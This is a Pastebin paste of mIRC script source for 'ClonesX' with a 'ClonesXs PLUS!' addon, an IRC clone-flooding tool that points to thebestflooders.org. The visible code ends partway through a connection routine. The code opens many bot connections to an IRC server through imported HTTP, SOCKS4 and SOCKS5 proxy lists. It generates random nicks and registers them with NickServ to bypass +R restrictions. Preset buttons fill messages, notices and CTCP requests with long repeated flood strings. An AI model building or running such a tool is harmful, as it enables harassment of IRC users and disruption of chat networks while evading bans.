API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Sep 19th, 2015
93
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 58.09 KB | None | 0 0
raw download clone embed print report
  1. alias ClonesXs {
  2. p.cloning.delch
  3. if ($dialog(p.cloning)) { dialog -v p.cloning }
  4. else { dialog -md p.cloning p.cloning }
  5. }
  6. dialog p.cloning {
  7. title "ClonesX v1.501b avec addon ClonesXs PLUS! 1.0 par Under_Score"
  8. size -1 -1 268 214
  9. option dbu
  10. tab "Connection", 200, 1 0 265 211
  11. box "Serveur", 8, 5 19 186 21, tab 200
  12. text "Host/Ip:", 9, 7 28 20 8, result tab 200
  13. edit "", 10, 28 26 92 10, tab 200 autohs
  14. text "Port:", 1, 123 28 17 8, tab 200
  15. combo 12, 142 26 46 55, tab 200 size edit drop
  16. box "Nick", 34, 5 43 111 22, tab 200
  17. radio "", 35, 8 52 7 10, tab 200 flat
  18. radio "Autre", 36, 57 52 22 10, tab 200 flat
  19. combo 37, 16 51 41 50, tab 200 size drop
  20. edit "", 38, 80 52 34 10, tab 200 autohs
  21. box "Connection", 45, 6 100 110 67, tab 200
  22. text "Nombre de clones:", 49, 10 109 48 20, tab 200
  23. combo 50, 68 107 43 80, tab 200 size edit drop
  24. text "Mode:", 215, 10 120 15 8, tab 200
  25. combo 47, 68 119 43 50, tab 200 size drop
  26. button "&Connecter", 48, 10 143 101 10, disable tab 200 flat
  27. button "&Deconnecter", 52, 10 155 101 10, tab 200 flat
  28. box "Apercu", 219, 119 43 142 165, tab 200
  29. edit "", 44, 121 50 138 157, tab 200 read multi autohs vsbar
  30. box "Stats", 39, 6 66 110 31, tab 200
  31. text "Clones Connectés:", 40, 10 74 47 8, tab 200
  32. text "Connections:", 42, 10 85 41 8, tab 200
  33. button "Nettoyer Apercu", 53, 6 169 110 14, tab 200 flat
  34. text "-", 41, 78 75 34 8, tab 200
  35. text "-", 43, 78 85 34 8, tab 200
  36. text "Delais:", 390, 10 132 25 8, tab 200
  37. combo 391, 68 131 43 60, tab 200 size edit drop
  38. link "www.TheBestFlooders.org", 361, 193 26 69 8, tab 200
  39. tab "Firewall", 201
  40. box "Proxy", 236, 3 17 88 170, tab 201
  41. box "Socks 4", 234, 90 17 88 170, tab 201
  42. box "Socks 5", 235, 177 17 88 170, tab 201
  43. text "Host/Ip:", 55, 5 25 20 8, tab 201
  44. edit "", 2, 26 24 62 10, tab 201 autohs
  45. text "Port:", 56, 5 35 17 8, tab 201
  46. edit "", 3, 26 35 62 10, tab 201 autohs
  47. button "&Ajouter", 5, 5 46 39 9, disable tab 201
  48. button "&Importer", 6, 49 46 39 9, tab 201
  49. button "&Effacer", 7, 5 56 39 9, tab 201
  50. button "Effacer T&out", 244, 49 56 39 9, tab 201
  51. list 4, 5 67 85 118, tab 201 size hsbar vsbar
  52. list 69, 92 67 85 118, tab 201 size hsbar vsbar
  53. button "&Effacer", 72, 92 56 39 9, tab 201
  54. button "Effacer T&out", 256, 136 56 39 9, tab 201
  55. button "&Importer", 71, 136 46 39 9, tab 201
  56. button "&Ajouter", 70, 92 46 39 9, disable tab 201
  57. text "Port:", 67, 92 35 17 8, tab 201
  58. edit "", 68, 113 35 62 10, tab 201 autohs
  59. edit "", 66, 113 24 62 10, tab 201 autohs
  60. text "Host/Ip:", 65, 92 25 20 8, tab 201
  61. text "Host/Ip:", 74, 179 25 20 8, tab 201
  62. edit "", 75, 200 24 62 10, tab 201 autohs
  63. edit "", 77, 200 35 62 10, tab 201 autohs
  64. text "Port:", 76, 179 35 17 8, tab 201
  65. button "&Ajouter", 79, 179 46 39 9, disable tab 201
  66. button "&Importer", 80, 223 46 39 9, tab 201
  67. button "Effacer T&out", 265, 223 56 39 9, tab 201
  68. button "&Effacer", 81, 179 56 39 9, tab 201
  69. list 78, 179 67 85 118, tab 201 size hsbar vsbar
  70. tab "Actions", 202
  71. box "Actions", 305, 3 18 261 86, tab 202
  72. button "Msg", 310, 9 70 37 10, disable tab 202 flat
  73. button "Notice", 311, 9 81 37 10, disable tab 202 flat
  74. button "Ping", 309, 9 59 37 10, disable tab 202 flat
  75. button "Version", 308, 9 48 37 10, disable tab 202 flat
  76. button "Part", 307, 9 37 37 10, disable tab 202 flat
  77. button "Join", 306, 9 26 37 10, disable tab 202 flat
  78. text "Channel:", 313, 47 27 25 8, tab 202
  79. button "Commande", 312, 9 92 37 10, disable tab 202 flat
  80. edit "", 314, 81 26 75 10, disable tab 202 autohs
  81. text "Channel:", 315, 47 39 25 8, tab 202
  82. edit "", 316, 81 37 75 10, disable tab 202 autohs
  83. edit "", 318, 81 48 75 10, disable tab 202 autohs
  84. text "Channel/Nick:", 317, 47 49 34 8, tab 202
  85. text "Channel/Nick:", 319, 47 60 34 8, tab 202
  86. edit "", 320, 81 59 75 10, disable tab 202 autohs
  87. text "Channel/Nick:", 321, 47 71 34 8, tab 202
  88. edit "", 322, 81 70 75 10, disable tab 202 autohs
  89. text "Message:", 323, 160 71 24 8, tab 202
  90. edit "", 324, 183 70 75 10, disable tab 202 autohs
  91. text "Channel/Nick:", 325, 47 82 34 8, tab 202
  92. edit "", 326, 81 80 75 10, disable tab 202 autohs
  93. text "Message:", 327, 160 82 24 8, tab 202
  94. edit "", 328, 183 81 75 10, disable tab 202 autohs
  95. edit "", 329, 47 92 211 10, disable tab 202 autohs
  96. edit "Aleatoire ", 331, 202 27 56 10, disable tab 202 autohs
  97. button "Changer Nick", 330, 158 27 42 10, disable tab 202 flat
  98. box "d'où...", 332, 158 39 100 29, tab 202
  99. radio "Global", 333, 163 46 27 10, disable tab 202 flat
  100. radio "Selectionné", 334, 212 46 42 10, disable tab 202 flat
  101. radio "Groupe1", 335, 163 55 30 10, disable tab 202 flat
  102. radio "Groupe2", 336, 193 55 30 10, disable tab 202 flat
  103. radio "Groupe3", 337, 225 55 30 10, disable tab 202 flat
  104. box "Liste de Nick", 338, 3 104 261 85, tab 202
  105. list 339, 5 111 53 76, disable tab 202 size extsel vsbar
  106. button "==> au Groupe1", 340, 59 123 39 11, disable tab 202 flat
  107. button "==> au Groupe2", 341, 59 142 39 11, disable tab 202 flat
  108. box "Groupe3", 370, 207 109 54 79, tab 202
  109. button "Effacer", 371, 209 117 19 8, disable tab 202 flat
  110. button "Effacer Tout", 372, 228 117 31 8, disable tab 202 flat
  111. list 373, 208 125 52 62, disable tab 202 size vsbar
  112. list 369, 154 125 52 62, disable tab 202 size vsbar
  113. button "Effacer Tout", 368, 174 117 31 8, disable tab 202 flat
  114. button "Effacer", 367, 155 117 19 8, disable tab 202 flat
  115. box "Groupe2", 366, 153 109 54 79, tab 202
  116. list 351, 100 125 52 62, disable tab 202 size vsbar
  117. button "Effacer Tout", 350, 120 117 31 8, disable tab 202 flat
  118. button "Effacer", 349, 101 117 19 8, disable tab 202 flat
  119. box "Groupe1", 348, 99 109 54 79, tab 202
  120. button "==> au Groupe3", 342, 59 160 39 11, disable tab 202 flat
  121. box "Plus!", 89, 5 189 258 20, tab 202
  122. text "Remplir tous les desinataires uniformement :", 90, 10 197 109 8, tab 202
  123. edit "", 91, 121 196 97 10, disable tab 202 autohs
  124. button "Remplir", 92, 219 195 37 12, disable tab 202 flat
  125. tab "Plus !", 11
  126. box "Chaine aleatoire des nicks générés", 13, 9 14 251 50, tab 11
  127. edit "[", 14, 80 23 35 10, tab 11 autohs
  128. text "Chiffre aleatoire", 16, 116 24 43 8, tab 11
  129. box "Message QUIT/PART", 22, 10 65 250 66, tab 11
  130. text "Quit :", 24, 16 73 25 8, tab 11
  131. edit "ClonesXs PLUS! Vous a bien eu ;-)", 25, 14 81 241 10, tab 11 autohs
  132. edit "ClonesXs PLUS! eviendras sur ce cannal tres prochainement ;-)", 26, 14 105 240 10, tab 11 autohs
  133. text "Lettres aleatoire", 20, 115 37 43 8, tab 11
  134. edit "]", 15, 161 24 43 10, tab 11 autohs
  135. edit "]", 21, 161 35 43 10, tab 11 autohs
  136. edit "[", 19, 79 36 35 10, tab 11 autohs
  137. text "Part : ", 27, 16 94 25 8, tab 11
  138. button "Valider le quit", 28, 111 92 41 12, tab 11 flat
  139. button "Valider le part", 29, 111 117 39 12, tab 11 flat
  140. button "Lettres", 17, 17 35 59 12, tab 11 flat
  141. button "Chiffres", 18, 17 22 59 12, tab 11 flat
  142. button "Caracteres speciaux", 23, 17 49 59 12, tab 11 flat
  143. edit "[", 31, 79 50 35 10, tab 11 autohs
  144. text "Lettres aleatoire", 30, 115 51 43 8, tab 11
  145. edit "]", 32, 161 49 43 10, tab 11 autohs
  146. text "ClonesXs PLUS! by Under_Score", 33, 180 199 79 8, tab 11
  147. box "Cannl auto a la connexion des clones", 46, 10 132 132 34, tab 11
  148. edit "", 51, 16 140 123 10, tab 11 autohs
  149. button "Valider", 54, 61 151 37 12, tab 11 flat
  150. box "Definir le MSG de la page ACTION", 57, 147 131 113 57, tab 11
  151. button "LOL", 58, 152 141 17 12, tab 11 flat
  152. button "[-_-]", 83, 152 155 17 12, tab 11 flat
  153. button "Abcd", 88, 152 169 17 12, tab 11 flat
  154. button "12345", 87, 173 169 18 12, tab 11 flat
  155. button "(°@°)", 82, 173 155 18 12, tab 11 flat
  156. button "FUCK", 59, 173 141 18 12, tab 11 flat
  157. button "___", 60, 195 141 17 12, tab 11 flat
  158. button "DeAd", 73, 195 155 17 12, tab 11 flat
  159. button ":-)", 86, 195 169 17 12, tab 11 flat
  160. button "```", 85, 217 169 17 12, tab 11 flat
  161. button "()()()", 64, 217 155 17 12, tab 11 flat
  162. button "HaHa", 61, 217 141 17 12, tab 11 flat
  163. button "FlOoD", 62, 237 141 18 12, tab 11 flat
  164. button "[][][]", 63, 237 155 18 12, tab 11 flat
  165. button ".....", 84, 237 169 18 12, tab 11 flat
  166. box "Pour passer les +R, enregistrer les nicks :", 93, 10 168 132 35, tab 11
  167. edit "YoUaReDeAd", 94, 42 176 57 10, disable tab 11 autohs
  168. text "Pass:", 95, 18 177 17 8, tab 11
  169. button "Register !", 98, 105 176 31 22, disable tab 11 flat
  170. text "Email:", 97, 18 189 17 8, tab 11
  171. edit "YoUaRe@DeAd.Com", 96, 42 188 58 10, disable tab 11 autohs
  172. menu "Fichiers", 403
  173. item "&Quitter", 476, 403, cancel
  174. menu "Specials", 411
  175. item "Ip-Ports", 412, 411
  176. menu "Liste de Nicks", 413, 411
  177. menu "Changer de Nick", 414, 413
  178. item "Liste par default", 415, 414
  179. item "Liste...", 416, 414
  180. menu "Sauvegarder Nicks", 417, 413
  181. item "Liste par default", 418, 417
  182. item "Liste...", 419, 417
  183. menu "Se connecter avec la liste", 420, 413
  184. item "Liste par default", 421, 420
  185. item "Liste...", 422, 420
  186. menu "Aide", 404
  187. item "A Propos...", 441, 404
  188. item "Web", 405, 404
  189. item "Phorum", 406, 404
  190. item "Email", 407, 404
  191. menu "Aide", 408, 404
  192. item "Readme.txt", 409, 408
  193. item "Aide Web", 410, 408
  194. }
  195. on 1:DIALOG:p.cloning:edit:*: {
  196. if ($did == 2) || ($did == 3) { p.clon.fire.secl 2 3 5 }
  197. if ($did == 66) || ($did == 68) { p.clon.fire.secl 66 68 70 }
  198. if ($did == 75) || ($did == 77) { p.clon.fire.secl 75 77 79 }
  199.  
  200. if ($did == 10) || ($did == 12) || ($did == 38) || ($did == 50) {
  201. p.cloning.conEcheck
  202. }
  203. if ($did == 38) { if ($len($did($dname,38)) > 10) { p.cloning.fal La longueur ne doit pas dépasser 6 caractères. | did -r $dname 38 } }
  204.  
  205. if ($did == 314) {
  206. if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 306
  207. else did -b $dname 306
  208. }
  209. if ($did == 316) {
  210. if (& iswm $did($dname,$did).text) && ($left($did($dname,$did).text,1) == $chr(35)) did -e $dname 307
  211. else did -b $dname 307
  212. }
  213. if ($did == 318) {
  214. if (& iswm $did($dname,$did).text) did -e $dname 308
  215. else did -b $dname 308
  216. }
  217. if ($did == 320) {
  218. if (& iswm $did($dname,$did).text) did -e $dname 309
  219. else did -b $dname 309
  220. }
  221. if ($did == 322) || ($did == 324) {
  222. if (& iswm $did($dname,322).text) && (* iswm $did($dname,324).text) did -e $dname 310
  223. else did -b $dname 310
  224. }
  225. if ($did == 326) || ($did == 328) {
  226. if (& iswm $did($dname,326).text) && (* iswm $did($dname,328).text) did -e $dname 311
  227. else did -b $dname 311
  228. }
  229. if ($did == 329) {
  230. if (* iswm $did($dname,$did).text) did -e $dname 312
  231. else did -b $dname 312
  232. }
  233. if ($did == 331) {
  234. if (& iswm $did($dname,$did).text) did -e $dname 330
  235. else did -b $dname 330
  236. }
  237. }
  238. alias -l p.cloning.conEcheck {
  239. if ($dialog(p.cloning)) {
  240. if (??* iswm $did($dname,10)) && ($abs($did($dname,12)) != 0) && ($abs($did($dname,50)) != 0) {
  241. if ($did($dname,36).state == 0) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
  242. elseif ($did($dname,38)) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 }
  243. else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
  244. }
  245. else { if ($did($dname,48).enabled == $true) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
  246. }
  247. }
  248. alias -l p.clon.fire.secl {
  249. if ($dialog(p.cloning)) {
  250. if (??* iswm $did($dname,$$1)) && ($abs($did($dname,$$2)) != 0) && ($did($dname,$$2)) { did -e $dname $$3 }
  251. elseif ($did($dname,$$3).enabled == $true) { did -b $dname $$3 }
  252. }
  253. }
  254. alias -l p.clon.fire.secl1 {
  255. var %p.clon.fire.secl1 = $did($dname,$$2) $did($dname,$$3)
  256. if ($dialog(p.cloning)) && (!$didwm($dname,$$1,%p.clon.fire.secl1)) {
  257. did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.clon.fire.secl1
  258. }
  259. }
  260. alias -l p.cloning.fire.secl2 {
  261. if ($dialog(p.cloning)) {
  262. did -d $dname $$1 $$did($dname,$$1).sel
  263. }
  264. }
  265. alias -l p.cloning.fire.secl3 {
  266. if ($dialog(p.cloning)) {
  267. var %p.cloning.proFile = $sfile($iif(%p.save.cloning.lstPath,%p.save.cloning.lstPath,C:\),Select the file where the list of proxyes is,Importa)
  268. if (%p.cloning.proFile) {
  269. set %p.save.cloning.lstPath $nofile(%p.cloning.proFile)
  270. var %i = 1
  271. while (%i <= $lines(%p.cloning.proFile)) {
  272. var %p.cloning.proFile.p = $read(%p.cloning.proFile,%i)
  273. if ($gettok(%p.cloning.proFile.p,0,58) == 2) { var %p.cloning.proFile.p = $gettok(%p.cloning.proFile.p,1,58) $gettok(%p.cloning.proFile.p,2,58) }
  274. if (($gettok(%p.cloning.proFile.p,0,32) != 2) || ($abs($gettok(%p.cloning.proFile.p,2,32)) == 0)) {
  275. p.cloning.fal Le fichier doit contenit dans chaque ligne un proxys et un port. Exemple: one.proxy.com 8080 Exemple2: other.proxy.com:8080
  276. return
  277. }
  278. if (%p.cloning.proFile.p) && (!$didwm($dname,$$1,%p.cloning.proFile.p)) { did -i $dname $$1 $calc($did($dname,$$1).lines + 1) %p.cloning.proFile.p }
  279. var %i = %i + 1
  280. }
  281. unset %p.cloning.proFile.p
  282. }
  283. }
  284. }
  285. alias -l p.cloning.ddnsd {
  286. if ($dialog(p.cloning)) {
  287. if ($did(p.cloning,47).text == Socks 4) || ($did(p.cloning,47).text == Socks 5) {
  288. .enable #p.cloning.DdnsD
  289. .dns $did(p.cloning,10).text
  290. p.clon.stats -Resolving Host/Ip... $time
  291. }
  292. else { p.cloning.jj }
  293. }
  294. }
  295. #p.cloning.DdnsD off
  296. on 1:DNS: {
  297. if ($dialog(p.cloning)) {
  298. if ($iaddress) { var %resulto = $iaddress }
  299. else { var %resulto = $naddress }
  300. did -o p.cloning 10 1 %resulto
  301. .disable #p.cloning.DdnsD
  302. p.clon.stats -Resolved a %resulto $time
  303. p.clon.stats -
  304. p.cloning.jj
  305. }
  306. haltdef
  307. }
  308. #p.cloning.DdnsD end
  309. on 1:DIALOG:p.cloning:sclick:*: {
  310. if ( $did == 98 ) {
  311. p.cloning.runcmd privmsg nickserv register $did(p.cloning,94) $did(p.cloning,96)
  312. }
  313. if ( $did == 92 ) {
  314. if ( $did(p.cloning,91) != $null ) {
  315. did -ra p.cloning 314 $gettok($did(p.cloning,91),1,32)
  316. did -ra p.cloning 316 $gettok($did(p.cloning,91),1,32)
  317. did -ra p.cloning 318 $gettok($did(p.cloning,91),1,32)
  318. did -ra p.cloning 320 $gettok($did(p.cloning,91),1,32)
  319. did -ra p.cloning 322 $gettok($did(p.cloning,91),1,32)
  320. did -ra p.cloning 326 $gettok($did(p.cloning,91),1,32)
  321. did -e p.cloning 306 | did -e p.cloning 307 | did -e p.cloning 308 |
  322. did -e p.cloning 309 | did -e p.cloning 310 | did -e p.cloning 311 |
  323. did -e p.cloning 312
  324. }
  325. }
  326. if ( $did == 58 ) did -ra p.cloning 324 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L
  327. if ( $did == 59 ) did -ra p.cloning 324 $str(FuCk,80)
  328. if ( $did == 60 ) did -ra p.cloning 324 $str(_,300)
  329. if ( $did == 61 ) did -ra p.cloning 324 $str(Ha,150)
  330. if ( $did == 62 ) did -ra p.cloning 324 $str(FLOoD,120)
  331. if ( $did == 83 ) did -ra p.cloning 324 $str([-_-],150)
  332. if ( $did == 82 ) did -ra p.cloning 324 $str((°@°),100)
  333. if ( $did == 73 ) did -ra p.cloning 324 $str(DeAd,180)
  334. if ( $did == 64 ) did -ra p.cloning 324 $str((),200)
  335. if ( $did == 63 ) did -ra p.cloning 324 $str([],200)
  336. if ( $did == 88 ) did -ra p.cloning 324 $str(ABCDEFGHIJKLMNOPQRSTUVWXYZ,30)
  337. if ( $did == 87 ) did -ra p.cloning 324 $str(0123456789,70)
  338. if ( $did == 86 ) did -ra p.cloning 324 $str(:- $+ $chr(41) $+ ,110)
  339. if ( $did == 85 ) did -ra p.cloning 324 $str(`,933)
  340. if ( $did == 84 ) did -ra p.cloning 324 $str(.,450)
  341. if ( $did == 58 ) did -ra p.cloning 328 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L - 12L4o12L
  342. if ( $did == 59 ) did -ra p.cloning 328 $str(FuCk,80)
  343. if ( $did == 60 ) did -ra p.cloning 328 $str(_,300)
  344. if ( $did == 61 ) did -ra p.cloning 328 $str(Ha,150)
  345. if ( $did == 62 ) did -ra p.cloning 328 $str(FLOoD,120)
  346. if ( $did == 83 ) did -ra p.cloning 328 $str([-_-],150)
  347. if ( $did == 82 ) did -ra p.cloning 328 $str((°@°),100)
  348. if ( $did == 73 ) did -ra p.cloning 328 $str(DeAd,180)
  349. if ( $did == 64 ) did -ra p.cloning 328 $str((),200)
  350. if ( $did == 63 ) did -ra p.cloning 328 $str([],200)
  351. if ( $did == 88 ) did -ra p.cloning 328 $str(ABCDEFGHIJKLMNOPQRSTUVWXYZ,30)
  352. if ( $did == 87 ) did -ra p.cloning 328 $str(0123456789,70)
  353. if ( $did == 86 ) did -ra p.cloning 328 $str(:- $+ $chr(41) $+ ,110)
  354. if ( $did == 85 ) did -ra p.cloning 328 $str(`,933)
  355. if ( $did == 84 ) did -ra p.cloning 328 $str(.,450)
  356. if ($did == 54) {
  357. set %cloauto $did(p.cloning,51)
  358. }
  359. if ($did == 17) {
  360. set %clorand $eval($did(p.cloning,19),0) $eval( $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ ,0) $eval($did(p.cloning,21),0)
  361. set %clol1 $did(p.cloning,19)
  362. set %clol2 $did(p.cloning,21)
  363. }
  364. if ($did == 23) {
  365. set %clorand $eval($did(p.cloning,31),0) $eval( $+ $rand(a,Z) $+ $rand(a,Z) $+ $rand(a,Z) $+ ,0) $eval($did(p.cloning,32),0)
  366. set %clocs1 $did(p.cloning,31)
  367. set %cloccs2 $did(p.cloning,32)
  368. }
  369. if ($did == 18) {
  370. set %cloc1 $did(p.cloning,14)
  371. set %cloc2 $did(p.cloning,15)
  372. set %clorand $eval($did(p.cloning,14),0) $eval( $+ $rand(1,9999) $+ ,0) $eval($did(p.cloning,15),0)
  373. }
  374. if ($did == 28) {
  375. set %cloquit $did(p.cloning,25)
  376. }
  377. if ($did == 29) {
  378. set %clopart $did(p.cloning,26)
  379. }
  380. if ($did == 53) { did -r $dname 44 }
  381. if ($did == 36) { if ($did($dname,36).state == 1) && ($did($dname,38) == $null) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
  382. if ($did == 35) { if ($did($dname,5).enabled == $false) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 } }
  383. ;if ($did == 46) {
  384. ; if ($calc($dialog($dname).w / $dbuw) >= 216) && ($calc($dialog($dname).w / $dbuw) <= 219) { dialog -bs $dname -1 -1 322 160 | dialog -r $dname }
  385. ; else { dialog -bs $dname -1 -1 215 160 | dialog -r $dname }
  386. ;}
  387. if ($did == 5) { p.clon.fire.secl1 4 2 3 }
  388. if ($did == 70) { p.clon.fire.secl1 69 66 68 }
  389. if ($did == 79) { p.clon.fire.secl1 78 75 77 }
  390.  
  391. if ($did == 7) { p.cloning.fire.secl2 4 }
  392. if ($did == 72) { p.cloning.fire.secl2 69 }
  393. if ($did == 81) { p.cloning.fire.secl2 78 }
  394.  
  395. if ($did == 6) { p.cloning.fire.secl3 4 }
  396. if ($did == 71) { p.cloning.fire.secl3 69 }
  397. if ($did == 80) { p.cloning.fire.secl3 78 }
  398.  
  399. if ($did == 48) { unset %p.cloning.Nlist.conn* | p.cloning.ddnsd }
  400. if ($did == 52) {
  401. if ($sock(p.cloning*)) {
  402. var %p.cloning.go.kit = %cloquit
  403. if (%p.cloning.msg.quit != %p.cloning.go.kit) { set %p.cloning.msg.quit %cloquit }
  404. .sockwrite -nt p.cloning.* quit : $+ %p.cloning.msg.quit
  405. .timerPCloning.out 1 1 .sockclose p.cloning.*
  406. }
  407. ;.remove CloneX.ini | .remove CloneXo.ini
  408. if ($hget(p.cloning.a)) { hfree p.cloning.a }
  409. .timerP.cloning.Recr off
  410. p.cloning.recr 1
  411. unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off | p.clon.stats | p.cloning.cmds
  412. }
  413. if ($did == 339) {
  414. if ($did($dname,$did).sel) { did -e $dname 340 | did -e $dname 341 | did -e $dname 342 }
  415. else { did -b $dname 340 | did -b $dname 341 | did -b $dname 342 }
  416. }
  417. if ($did == 244) { did -r $dname 4 }
  418. if ($did == 256) { did -r $dname 69 }
  419. if ($did == 265) { did -r $dname 78 }
  420. if ($did == 340) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 351 }
  421. if ($did == 341) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 369 }
  422. if ($did == 342) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 373 }
  423. if ($did == 349) { did -d $dname 351 $$did($dname,351).sel }
  424. if ($did == 367) { did -d $dname 369 $$did($dname,369).sel }
  425. if ($did == 371) { did -d $dname 373 $$did($dname,373).sel }
  426. if ($did == 350) { did -r $dname 351 }
  427. if ($did == 368) { did -r $dname 369 }
  428. if ($did == 372) { did -r $dname 373 }
  429. if ($did == 306) { p.cloning.runcmd join $did($dname,314).text }
  430. if ($did == 307) { p.cloning.runcmd part $did($dname,316).text %clopart }
  431. if ($did == 308) { p.cloning.runcmd privmsg $did($dname,318).text : $+ $chr(1) $+ version $+ $chr(1) }
  432. if ($did == 309) { p.cloning.runcmd privmsg $did($dname,320).text : $+ $chr(1) $+ ping $+ $chr(1) }
  433. if ($did == 310) { p.cloning.runcmd privmsg $did($dname,322).text : $+ $did($dname,324).text }
  434. if ($did == 311) { p.cloning.runcmd notice $did($dname,326).text : $+ $did($dname,328).text }
  435. if ($did == 312) { p.cloning.runcmd $did($dname,329).text }
  436. if ($did == 330) { p.cloning.runcmd nick $did($dname,331).text }
  437. if ($did == 361) { run $did($dname,361).text }
  438. }
  439. on 1:DIALOG:p.cloning:menu:*: {
  440. if ($did == 476) { set %p.save.cloning.srv $did($dname,10).text }
  441. if ($did == 405) { run http://www.thebestflooders.org }
  442. if ($did == 406) { run http://www.thebestflooders.org }
  443. if ($did == 407) { run mailto:webmaster@thebestflooders.org }
  444. if ($did == 409) { run $mircdirReadme.txt }
  445. if ($did == 410) { run http://www.thebestflooders.org }
  446. if ($did == 412) { p.cloning.ipports }
  447. if ($did == 415) { p.cloning.list.nicksch $mircdirClXNickList.cfg }
  448. if ($did == 416) { p.cloning.list.nicksch $sfile($mircdir,"Escoge el archivo") }
  449. if ($did == 418) { p.cloning.list.save $mircdirClXNickList.cfg }
  450. if ($did == 419) { p.cloning.list.save $sfile($mircdir,"Guardar en...",Guardar) }
  451. if ($did == 421) {
  452. unset %p.cloning.Nlist.conn*
  453. set %p.cloning.Nlist.conn 1
  454. if ($exists($mircdirClXNickList.cfg) == $false) { p.cloning.fal Fichier non trouvé ! }
  455. set %p.cloning.Nlist.conn.f $mircdirClXNickList.cfg
  456. p.cloning.ddnsd
  457. }
  458. if ($did == 422) {
  459. unset %p.cloning.Nlist.conn*
  460. set %p.cloning.Nlist.conn 1
  461. set %p.cloning.Nlist.conn.f $sfile($mircdir,"Choisir Fichier")
  462. if (%p.cloning.Nlist.conn.f) { p.cloning.ddnsd }
  463. }
  464. if ($did == 441) { p.cloning.crdts }
  465. }
  466. alias -l p.cloning.nick.gr.ad {
  467. if ($dialog(p.cloning)) {
  468. var %i = 1
  469. while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
  470. var %p.cloning.adgr1.nicks = $ifmatch
  471. if (!$didwm(p.cloning,$$1,%p.cloning.adgr1.nicks)) { did -i p.cloning $$1 $calc($did(p.cloning,$$1).lines + 1) %p.cloning.adgr1.nicks }
  472. var %i = %i + 1
  473. }
  474. }
  475. }
  476. alias fcp {
  477. if ($sock(p.cloning*)) {
  478. var %p.cloning.go.kit = %cloquit
  479. if (%p.cloning.msg.quit != %p.cloning.go.kit) { set %p.cloning.msg.quit %cloquit }
  480. .sockwrite -nt p.cloning.* quit : $+ %p.cloning.msg.quit
  481. .timerPCloning.out 1 1 .sockclose p.cloning.*
  482. }
  483. ;.remove CloneX.ini | .remove CloneXo.ini
  484. if ($hget(p.cloning.a)) { hfree p.cloning.a }
  485. .timerP.cloning.Recr off
  486. p.cloning.recr 1
  487. unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off | p.clon.stats | p.cloning.cmds
  488. dialog -x p.cloning
  489. }
  490. alias -l p.cloning.jj {
  491. if ($did(p.cloning,47).text == Normal) { p.clon.do }
  492. elseif ($did(p.cloning,47).text == Proxy) {
  493. if (!$did(p.cloning,4,1)) { p.cloning.fal Introduire des proxys dans la configuration si vous voudriez vous connecter par eux . | p.cloning.recr 1 | return }
  494. p.clon.do
  495. }
  496. elseif ($did(p.cloning,47).text == Socks 4) {
  497. if (!$did(p.cloning,69,1)) { p.cloning.fal Introduire des proxys dans la configuration si vous voudriez vous connecter avec des Socks 4. | p.cloning.recr 1 | return }
  498. ;if ($abs($did($dname,10).text) == 0) { p.cloning.fal Ce protocole ne pas prendre en compte ce nom de domaine (ip seulement), /dns $did($dname,10).testez et regardez les resultats ici ;) | return }
  499. p.clon.do
  500. }
  501. elseif ($did(p.cloning,47).text == Socks 5) {
  502. if (!$did(p.cloning,78,1)) { p.cloning.fal Introduire des proxys dans la configuration si vous voudriez vous connecter avec des Socks 5. | p.cloning.recr 1 | return }
  503. ;if ($abs($did($dname,10).text) == 0) { p.cloning.fal Ce protocole prend en compte les noms de domaines, mais dans cette version de CloneX c'est un bot implenté, donc, /dns $did($dname,10).testez et regarder les resultats ici ;) | return }
  504. p.clon.do
  505. }
  506. }
  507. alias -l p.clon.dodo {
  508. if ($dialog(p.cloning)) && (!$sock($$1)) {
  509. p.cloning.do.w $$1 0,0
  510. ;inc %p.cloning.n
  511. .sockopen $$1-
  512. if ($did(p.cloning,47).text == Normal) { var %p.clon.dodo = *Socket -Normal-: }
  513. if ($did(p.cloning,47).text == Proxy) { var %p.clon.dodo = *Socket -Proxy-: }
  514. if ($did(p.cloning,47).text == Socks 4) { var %p.clon.dodo = *Socket -Socks 4-: }
  515. if ($did(p.cloning,47).text == Socks 5) { var %p.clon.dodo = *Socket -Socks 5-: }
  516. p.cloning.delch
  517. p.clon.stats %p.clon.dodo $did(p.cloning,10) $did(p.cloning,12)
  518. }
  519. }
  520. alias -l p.clon.do {
  521. if ($dialog(p.cloning)) {
  522. p.cloning.recr 0
  523. var %p.cloning.delay = $did(p.cloning,391).text
  524. if ($did(p.cloning,47).text == Normal) {
  525. var %i = 1
  526. while (%i <= $did(p.cloning,50).text) {
  527. inc %p.cloning.t
  528. .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $did(p.cloning,10) $did(p.cloning,12)
  529. var %i = %i + 1
  530. }
  531. .timerP.cloning.Recr. [ $+ [ $eval(%clorand,2) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
  532. p.cloning.recr 0
  533. }
  534.  
